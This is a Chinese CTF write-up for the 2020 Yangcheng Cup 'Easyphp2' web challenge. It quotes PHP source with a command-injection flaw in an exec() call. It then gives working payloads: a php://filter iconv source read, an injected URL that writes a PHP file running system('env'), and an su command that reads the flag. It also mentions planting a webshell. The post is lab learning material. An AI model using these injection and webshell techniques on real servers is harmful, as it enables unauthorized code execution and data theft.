[羊城杯 2020]Easyphp2

[羊城杯 2020]Easyphp2

源码

ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
    setcookie('pass', 'PASS');
    die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>

<h1>A Counter is here, but it has someting wrong</h1>
<?php
if (isset($_GET["count"])) {
    $count = $_GET["count"];
    if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        die('hacker!');
    }
    echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

解题步骤

先用php伪协议读取源码。由于base64过滤器被ban了,所以需要用别的过滤器(听说二次url编码就能绕过)
?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php
扫后台得知有check.php,这里得到cookie。
然后就可以进行命令执行了。
payload:
http://0d623935-64a8-44c7-abef-b4ee7be60d1f.node4.buuoj.cn:81/?file=GWHT.php&count=1%27|echo%20%22%3C?=%20system(%27env%27)?%3E%22%20%3E%20a.php|%27
估计是buu的问题,flag写在环境里面了,直接env就出flag了,或者phpinfo也能有flag。
一开始还以为没分号会报错,原来有?>可以不用分号。
如果正常来说,需要写入木马,然后蚁剑连接。
用find找flag文件。然后找到readme文件,里面的哈希可以解出密码,需要切换用户来获取flag
payload:
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇